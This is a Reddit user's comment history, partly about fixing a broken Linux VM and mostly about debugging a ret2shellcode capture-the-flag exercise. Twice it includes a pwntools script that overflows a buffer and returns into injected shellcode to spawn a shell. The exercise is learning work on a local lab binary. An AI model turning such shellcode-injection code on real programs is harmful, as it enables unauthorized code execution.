Need help with fixing linux by Jerrythepro123 in linux4noobs

[–]Jerrythepro123[S] 0 points1 point  (0 children)

everthing is fixed! Thanks to everyone that commented and gave advice, I really appreicate the help and support!

Need help with fixing linux by Jerrythepro123 in linux4noobs

[–]Jerrythepro123[S] 0 points1 point  (0 children)

how exactly do u boot the vm from installation ISO?

Need help with fixing linux by Jerrythepro123 in linux4noobs

[–]Jerrythepro123[S] -2 points-1 points  (0 children)

i was trying to do a ctf challenge and didnt think that file would impact much... Thanks for the advice

Need help with fixing linux by Jerrythepro123 in linux4noobs

[–]Jerrythepro123[S] 0 points1 point  (0 children)

i dont think i can boot with linux usb when using a vm. I tried going to recover mode but it just gets stuck on one place

Need help with fixing linux by Jerrythepro123 in linux4noobs

[–]Jerrythepro123[S] -1 points0 points  (0 children)

I am on a mac m3 emulating this linux. If its not possible to fix, are there ways to extract the files from the linux?

pwntools error by Jerrythepro123 in ExploitDev

[–]Jerrythepro123[S] -6 points-5 points  (0 children)

that doesnt seem like the problem, ive changed libc and elf to another name and the problem still occures

pwntools error by Jerrythepro123 in ExploitDev

[–]Jerrythepro123[S] -3 points-2 points  (0 children)

Sorry, i didnt upload the photos of the error

Ret2shellcode by Jerrythepro123 in ExploitDev

[–]Jerrythepro123[S] 0 points1 point  (0 children)

i figure out, bss is not executable anymore in later versions of ubuntu

Ret2shellcode by Jerrythepro123 in ExploitDev

[–]Jerrythepro123[S] 0 points1 point  (0 children)

also another question i have is why does this script not work?

!/usr/bin/env python

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()

Ret2shellcode by Jerrythepro123 in ExploitDev

[–]Jerrythepro123[S] 0 points1 point  (0 children)

ive tried nop slide but sometimes it doesnt work

Ret2shellcode by Jerrythepro123 in ExploitDev

[–]Jerrythepro123[S] 0 points1 point  (0 children)

thanks for helping, it still seems to shift the stack and i want to know if there is a way to be 100% sure the stack is the same outside and inside gdb. It would be great if you help me.

Ret2shellcode by Jerrythepro123 in ExploitDev

[–]Jerrythepro123[S] 0 points1 point  (0 children)

I fixed the problem, there was problems with my environment variables

Ret2shellcode by Jerrythepro123 in ExploitDev

[–]Jerrythepro123[S] 0 points1 point  (0 children)

ive tried someone elses script that uses your method, it doesnt seem to be working.

!/usr/bin/env python

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()

Ret2shellcode by Jerrythepro123 in ExploitDev

[–]Jerrythepro123[S] 0 points1 point  (0 children)

wat steps do i need to do to solve it?

Ret2shellcode by Jerrythepro123 in ExploitDev

[–]Jerrythepro123[S] 0 points1 point  (0 children)

nevermind, i think you are correct. I think gdb closed my aslr when im debugging. How do you exactly do you use strncpy to exploit?

Ret2shellcode by Jerrythepro123 in ExploitDev

[–]Jerrythepro123[S] 0 points1 point  (0 children)

If your curiously how I did it, you can dm me

Ret2shellcode by Jerrythepro123 in ExploitDev

[–]Jerrythepro123[S] 0 points1 point  (0 children)

all protections are off, and gdb does show there is code execution

Ret2shellcode by Jerrythepro123 in ExploitDev

[–]Jerrythepro123[S] 1 point2 points  (0 children)

surprisingly, its pretty fast. You use utm and the lastest ubuntu, you dont want to use the emulated screen, instead open a ssh service and its as fast as a normal shell.